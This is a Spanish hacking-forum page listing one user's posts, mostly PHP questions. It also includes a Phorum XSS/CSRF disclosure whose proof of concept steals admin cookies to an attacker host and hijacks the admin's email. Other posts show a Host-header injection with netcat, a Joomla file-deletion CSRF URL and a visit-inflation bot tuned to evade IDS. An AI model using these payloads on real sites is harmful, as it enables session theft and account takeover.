elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42
351  Programación / PHP / Duda con simplexml_load_file en: 13 Abril 2009, 07:33 am
Hola, tengo una pequeña duda..

Estoy cargando un archivo XML desde simplexml_load_file() pero este no me debuelve los valores en blanco y si necesito que los considere para poder crear las tablas, es como si fuera un excel donde hay columnas vacías que pueden ser datos extras pero no las toma y al procesarlo me indica como si la siguiente columna lo reemplazara.

Se que hay un valor "LIBXML_NOBLANKS" que es "Remove blank nodes" o sea que no los muestre pero yo quiero todo lo contrario.. que si los muestre.

Alguien tiene alguna idea?
352  Seguridad Informática / Abril negro / Ghost SMF (Version 1.3) by WHK (Proyecto solo para "Abril Negro") en: 5 Abril 2009, 01:18 am
Bueno primero que nada este post pienso alimentarlo mientras dure el abril negro, después de esto no lo continuaré.

Mi proyecto a presentarles se llama

Ghost SMF

Versión 1.0


Versión 1.1

Modificaciones:
  • Bug reparado en la barra de progreso ya que cuando se generaba un valor decimal no se visualizaba
  • Bug reparado en la selección de Seo4SMF eliminandose ya que el control no era compatible con algunos sistemas añadiendo soporte para una sola url.
  • Ya no es necesario escribir el host y la ruta en dos lugares diferentes dando soporte para urls con Seo4-SMF, Pettys-URL y módulos de sistemas CMS con SMF-RC4.
  • Le incluí un módulo interno para simular el control del Socket, en otras palabras ya no es necesario el uso del WINSCK.OCX
Versión 1.2

Modificaciones:
  • Se agregaron las opciones opcionales donde podrán encontrar una caja de texto donde poder adjuntar las cookies que quieren enviar ya sea contra sistemas antibots o sesiones de usuario. si quieres saber cual es la cookie de sesión de tu usuario solo ingresa los datos "user y pass" y le haces click en "Adjuntar sesion", automáticamente el sistema logueará en el foro debolviendote la cookie correspondiente y todas las que encuentre a exepción del PHPSESSID para evitar la detección de sesiones multiples (en parte  :P).
en realidad el programa sigue funcionando igual que antes solo que le agregué eso de las opciones en caso de que alguien quiera probarlo en algún foro con acceso restringido.
  • Video agregado para los que se han perdido con las instrucciones. Hacer click acá para ver.

    Versión 1.3

    Modificaciones:
  • Se modificó el tiempo de espera por petición a un valor mínimo al azar haciendolo mas rápido y evadiendo IDS que puedan detener al Ghost. El valor está declarado con 5 decimales asi que es imposible que una petición tenga el mismo tiempo que el anterior.
  • Se agregó un sistema de estadisticas en tiempo real sobre el uso de memoria Ram.
  • Eliminación de la dependencia de las barras de progreso para hacerlo independiente de sistemas adicionals como por ejemplo una dll, ocx o un interpretador de phiton.

De que se trata?
Envía fantasmas a los foros SMF aumentando la cantidad de visitas únicas natno en las estadisticas de la portada como para post individuales:
https://foro.elhacker.net/analisis_y_diseno_de_malware/ghost_smf_version_11_by_whk_proyecto_solo_para_abril_negro-t250838.0.htm


Su uso es super fácil:


Opciones avanzadas (Opcional):


Es importante que si la ruta es por ejemplo:
http://foro.elhacker.net/analisis_y_diseno_de_malware/ghost_smf_version_11_by_whk_proyecto_solo_para_abril_negro-t250838.0.html;msg1213972#msg1213972
elimines lo que está adelante del simbolo "#" ya que esto es una interpretación del explorador y no del servidor, por lo tanto debería quedar masomenos así:
https://foro.elhacker.net/analisis_y_diseno_de_malware/ghost_smf_version_11_by_whk_proyecto_solo_para_abril_negro-t250838.0.html;msg1213972

Si no entiendes mucho lo unico que debes hacer es escribir la ruta del post mas la cantidad de visitas y ya.

353  Programación / PHP / Manejo de arrays para una sesion en mysql en: 4 Abril 2009, 11:24 am
Hola, tenía la idea de almacenar todo el contenido de un array dentro de una base de datos y después poder obtenerla. No se como pueda guardarla sin tener que procesar cada valor de cada variable porque al final es la sesión del visitante y este puede contener varios valores y varios arrays dentro de otros arrays.
No puedo usar explode e implode porque si tengo dos arrays uno dentro de otro no podrá debolverme el string.

Alguien tiene alguna idea?

ejemplo:
Código
  1. <?php
  2. $sesion = obtener_sesion($_COOKIE['SESION']);
  3. $sesion['nuevo'] = array('pedro', '25', 'como me llamo?' => 'WHK', 's45d7e8');
  4. grabar_sesion($_COOKIE['SESION'], $datos);
  5. ?>
Esque quiero ser independiente de las sesiones phpsessid debido a que si montas el code en un servidor que no soporta sesiones cmo los virtuales estás jodido.
Había pensado hacer las sesiones en textos txt igual que sqllite pero encontré que era mas ordenado en la base de datos aunque no es mas eficiente, luego pensaré eso, por ahora quiero ver como tomar un array y pasarlo a string para despues poder volverlo a array.
354  Programación / PHP / tomar buffer y lanzarlo al centro de una web en: 27 Marzo 2009, 08:15 am
Hola, estaba haciendo un sistema modular donde se incluye el archivo php y quiero que todo lo que lanze ese archivo como un echo o un print_r que se guarde en una variable para despues poder lanzarlo en otra parte.
Ejemplo..

index.php
Código
  1. <?php
  2. // accion para que tome todo lo que viene en una variable $cuerpo
  3. include_once('modulo.php');
  4.  
  5. echo 'cabezera';
  6. echo $cuerpo;
  7. echo 'termino';
  8.  
  9. ?>

modulo.php
Código
  1. <html>
  2. <?php echo 'portada'; ?>
  3. </html>

Esto también me serviría para poder manipular el contenido en caso de ser necesario.

La pregunta del millón.. alguien recuerda como hacerlo??, se que algo tiene que ver ob_start y funciones relacionadas pero no las conozco bien y en php.net me enreda un poco  :P
355  Programación / PHP / Sistema infalible para debugear tus scripts en: 22 Marzo 2009, 02:07 am
Bueno, no se si les ha pasado cuando crean un sistema o lo que sea y no les funciona.. comienzan a alterar el código como por ejemplo..

Código
  1. $texto = 'direccion@gmail.com';
  2. echo '1';
  3. if(eregi('@gmal',$texto)){
  4. echo '2';
  5. redireccionar();
  6. echo '3';
  7. }else{
  8. echo '4';
  9. guardar();
  10. echo '5';
  11. }

jajaja para saber hasta donde se produce la falla pero a veces poner numeros y cosas no resulta muy bién porque se te pierden  :-\ asi que yo de plano a veces pongo <h1>TEST</h1> pero me encontré que editando un módulo de joomla esto se me perdía  :o asi que dije "y donde está wally?" asi que me busqué en google a wally y lo pegué poniendo mas visible donde estaba la falla  ;D





jajaja infalible!
356  Seguridad Informática / Nivel Web / Múltiples fallas en Phorum 5.2.10 en: 12 Marzo 2009, 04:36 am
Sistema afectado: http://www.phorum.org/

Entré en el foro de un amigo (si se puede decir amigo todavía) y me dió curiosidad de saber que sistema estaba utilizando o realemnte lo habia construido el y su staff como me habian dicho así que me puse a revisar sus variables get y las puse en gogole una por una hasta que encontré que estaban utilizando un sistema de foros llamado Phorum, me dió mas curiosidad todavía y me puse a descargar el sistema.
Al darle un vistazo simple a un solo archivo me di cuenta de muchisimas faltas que podia causar desde un XSS hasta CSRF.

Como el foro era de un "amigo" se lo dije por msn y me mandó a la chingada XD y me dijo que porque no jodia en otro lado y reportaba la falla al autor y bueno, eso fue lo que hize. Ahora que el sistema ya ha sido parchado (en parte) lo publicaré en este lugar.

Les demostraré atraves de estas fallas como entrar como Administrador teniendo acceso total al servidor, postear como otros usuarios, modificar contraseñas de sesiones, etc.

1. XSS
Código
  1. } elseif(isset($_POST["panel"])){
  2.    $panel = $_POST["panel"];
Acá podemos ver en el archivo control.php que declara la variable $panel directamente desde $_POST["panel"] sin procesar ningún tipo de filtro ni nada permitiendo la inserción de carácteres especiales como "<", ">", comillas etc los cuales pueden transformarse en código HTML.
Para que esto funcione vemos que la variable es POST así que hacemos una petición POST inyectando esa variable de la siguiente manera:
Código
  1. <form method="post" action="http://web/path/control.php">
  2. <input type="text" name="panel" value="Tu XSS acá" />
  3. <input type="submit" value=" Submit "/>
  4. </form>

Enviamos un valor algo así como: "><h1>prueba
y podemos ver que el código html infectó la variable $panel pero en que parte se muestra ahora para que se ejecute?:
Código
  1. $PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";
Offtopic (En este caso utilizar comillas simples para declarar el valor de esa variable era mas eficiente ya que evitabas escribir \ cada ves que quisiera ingresar una comilla doble y las llaves se hubieran reemplazado por comilla mas coma que pasado a eficiencia resulta mas liviano en ejecutarse y mas aún cuando esto se extiende en todo el sistema)

Podemos ver que $panel es imrpimido en la web y cuando enviamos la variable post podemos ver como se incrusta nuestro código en la web.

2. CSRF
Bueno, acá n vamos a profundizar o tendremos que exponer todas las funciones que utilizen POST y GET para actualizar datos ya que en ningún caso es utilizado ningún token ni una verificación de referencia ni nada así que podriamos decir que podemos hacer practicamente de todo arbitrariamente tanto como modificar los datos de su perfil como postear, cambiar contraseñas etc etc.

Pruebas
Creamos un archivo llamativo que requiera javascript para ejecutar nuestro XSS:

Index.html
Código
  1. <object width="425" height="344">
  2. <param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
  3. <param name="allowFullScreen" value="true">
  4. <param name="allowscriptaccess" value="always">
  5. <embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
  6. </embed>
  7. <!-- muchos espacios de retorno acá -->
  8. <br><br><br><br><br><br><br><br>
  9. <br><br><br><br><br><br><br><br>
  10. <br><br><br><br><br><br><br><br>
  11. <br><br>
  12. <iframe src="test.html" width="1" height="1" frameborder="0"></iframe>

test.html
Código
  1. <!--
  2. -=[WHK]=-
  3. Prueba de concepto para Phorum 5.2.10 y versiones anteriores.
  4. Prueba de concepto 1 de 18
  5. -->
  6. <form method="post" action="http://foro.forodemiamigo.net/control.php">
  7. <input type="hidden" value='">
  8. <script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
  9. <br x="' name="panel"/>
  10. <input type="submit" value=" Submit "/>
  11. </form>
  12. <script>document.getElementsByTagName("form")[0].submit();</script>

Con esto hacemos que nuestro amigo administrador o alguiehn que tenga los suficientes derechos pueda ver el video que aparece en el index.html y cuando lo haga nos enviará su cookie en forma de petición get como por ejemplo:
http://mi_ip/metopo.json?req=sdfhvfsdf4645465
Ahora para capturarlo pueden hacerlo en php y guardarlo en un texto, en mi caso simplemente lo capturé desde los logs de acceso.

Ahora tomamos esa cookie y la ponemos en nuestro explorador y listo!, ya somos Administradores  ;D.

Ahora en el caso de que no hubiera XSS y quisieras hacerlo via CSRF puedes enviarle una petición para modificar su correo y luego debolverte tu pass al mismo ^^
Código
  1. <form action="http://foro.forodemiamigo.net/control.php" method="post">
  2. <input type="hidden" name="forum_id" value="0" />
  3. <input type="hidden" name="panel" value="email" />
  4. <input type="hidden" name="email" value="mi_mail@gmail.com" />
  5. <input type="hidden" name="hide_email" value="1" />
  6. <input type="submit" value=" Submit " />
  7. </form>
  8. <script>document.getElementsByTagName("form")[0].submit();</script>
Ahora que ya modificamos su mail nos pedirá un código de confirmación para comprobar que el correo le pertenece y eso debe ser ingresado en su mismo panel de usuario así que lo recogemos y enviamos desde otro csrf:
Código
  1. <form method="post" action="http://foro.forodemiamogo.net/control.php">
  2. <input type="hidden" value="0" name="forum_id"/>
  3. <input type="hidden" value="email" name="panel"/>
  4. <input type="hidden" value="mi_mail@gmail.com" name="email"/>
  5. <input type="hidden" value="HASH RECIBIDO POR MAIL" name="email_verify_code"/>
  6. <input type="hidden" checked="checked" value="1" name="hide_email"/>
  7. <input type="submit" value=" Submit "/>
  8. </form>
  9. <script>document.getElementsByTagName("form")[0].submit();</script>

Otras cosas que puedes hacer de la misma forma es postear por tu amigo o modificar su firma, etc.

Ahora le pusieron un Token de seguridad para evitar un ataque CSRF pero si tubieras acceso a otro XSS podrías incluir instrucciones Ajax para tomar el valor de su token y enviar una petición via XMLHttp con el CSRF y realizar exatamente lo mismo nuevamente.

Recibí en el último correo del director del rpoyecto los links con los trakers para que puedan actualizar su sistema yq eu todavía no se pone el paquete con sus parches de forma publica:
http://trac.phorum.org/changeset/3930
http://trac.phorum.org/changeset/3936
http://trac.phorum.org/changeset/3787

También le comenté de la ausencia de mysql_close dejandolo vulnerable a un ataque de peticiones masivas de vajo nivel causando daños relevantes ya que se ahogaría solo con tantas conexiones.
357  Programación / PHP / Fake Exploit como firma en: 28 Febrero 2009, 05:49 am
Bueno, acá les dejo un pequeño código que hize para gastar una pequeña broma a los que vean esta firma:

Código
  1. <?php
  2. if(!verifica_so()){
  3. $texto[] = 'WHK@53rv3rh311:~# pl ./exploit.pl -verifica:'.$_SERVER[REMOTE_ADDR];
  4. $texto[] = ' [!] Sistema Operativo incompatible.';
  5. $texto[] = '';
  6. $texto[] = 'WHK@53rv3rh311:~#';
  7. }else{
  8. if(verifica_so() == 'win') $direccion = '0x00416FA0';
  9. if(verifica_so() == 'linux') $direccion = '0x00406F4C';
  10. if(verifica_so() == 'unix') $direccion = '0x00402360';
  11. $texto[] = 'WHK@53rv3rh311:~# pl ./exploit.pl -ip:'.$_SERVER[REMOTE_ADDR].' -so:'.verifica_so();
  12. $texto[] = ' --=[PoC BoF Linux/Win/Unix 2.5 Final by WHK]=--';
  13. $texto[] = ' [+] Conectando ...';
  14. $texto[] = ' [!] Retorno --> '.$direccion;
  15. $texto[] = ' [+] Lanzando ...';
  16. $texto[] = ' [+] Completado con éxito!';
  17. $texto[] = '';
  18. $texto[] = 'WHK@53rv3rh311:~#';
  19. }
  20.  
  21. $handle = imagecreate(400, 105);
  22.  
  23. $fondo = imagecolorallocate($handle, 0, 0, 0);
  24. $color_texto = imagecolorallocate($handle, 0, 255, 0);
  25. $salto = 5;
  26. foreach($texto as $linea){
  27. imagestring($handle, 2, 10, $salto, $linea, $color_texto);
  28. $salto = $salto + 12;
  29. }
  30. header("Content-type: image/png");
  31. imagepng($handle);
  32.  
  33. function verifica_so(){
  34. if(eregi('Windows', strtolower($_SERVER[HTTP_USER_AGENT]))) return 'win';
  35. if(eregi('linux', strtolower($_SERVER[HTTP_USER_AGENT]))) return 'linux';
  36. if(eregi('unix', strtolower($_SERVER[HTTP_USER_AGENT]))) return 'unix';
  37. return false;
  38. }
  39. ?>

Prueba:


Pueden modificarlo y cargarlo con imagenes no se, hagan lo que quieran con el código.
358  Seguridad Informática / Nivel Web / Aatque WEB atraves de subdominios en: 21 Febrero 2009, 04:03 am
Nota inicial: webdedescargas.com no es un sitio real, solo es un ejemplo. webdedescargas.com actualmente es un dominio parqueado sin actividad alguna.

estuve investigando un poco sobre una falla de seguridad poco común que pude encontrar en un sitio web de descargas donde el archivo se mostraba como subdominio, por ejemplo:

Web normal ---> http://firefox.webdedescargas.com/

al crear mi propia petición GET con netcat pensé "que pasaría si modifico el header 'host:' ?" y al hacerlo pude darme cuenta que al igual que otros sitios similares sus valores de respuesta se reflejan en ese header y no necesariamente en el subdominio al que le hize GET. Por ejemplo:

Código
  1. nc -v www.webdedescargas.com 80
  2. GET / HTTP/1.1
  3. connection: close
  4. host: <h1>XSS.webdedescargas.com
  5.  
  6.  

Luego el servidor me responde con cada valor como si mi xss fuera el subdomino válido.
Busqué si había alguna información al respecto y encontré una forma:
http://serhost.com/blog/comments.php?y=06&m=10&entry=entry061022-154634
donde puedes hacerlo con un .htaccess de la siguiente manera:
Código:
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} ^$
RewriteCond %{HTTP_HOST} !^(www\.)?serhost\.com$ [NC]
RewriteCond %{HTTP_HOST} ^(www\.)?([^\.]+)\.serhost\.com$ [NC]
RewriteRule ^(.*)$ pruebas/$1 [QSA,L]

Justamente en este ejemplo los subdominios son convertidos en directorios según la request.

Con este dato ya podemos causar desde un XSS persistente como SQL inyecciones dentro de cualquier header utilizando cualquier herramienta de conexión remota.



El resultado del test.html fue justamente el contenido del software llamado nero pero reemplazemos eso por un XSS y verás como se ejecuta, en tagboards y chats eso podría causar un xss persistente o en algunos casos inyecciones sql donde normalmente no tienes acceso a mayores modificaciones para ejecutar las sentencias sql donde por lo visto la constante $_SERVER['SERVER_NAME'] también es afectada (justamente donde no se pensaba que podría llegar algún tipo de ataque en sistemas cms conocidos) asi que ojo al momento de programar.
359  Seguridad Informática / Nivel Web / Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell] en: 9 Febrero 2009, 23:22 pm
Vulnerabilidad de tipo CSRF en Joomla! 1.5.9

He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio "/images".

La falla se localiza en el módulo de Administracion llamado "Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques.

Prueba de concepto:
http://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=directorio&rm[]=Imagen.jpg

El punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:





Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor.

Nota:
Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo.
Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida.

Fuentes:
http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
http://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.html
http://forum.joomla.org/viewtopic.php?f=300&t=371705
360  Seguridad Informática / Nivel Web / Temas mas destacados "fallas y explotaciones a nivel Web" Actualizado: 31/5/10 en: 4 Febrero 2009, 05:06 am
Los temas más destacados sobre fallas y explotaciones a nivel Web

Advisories
Páginas: 1 ... 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 [36] 37 38 39 40 41 42
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines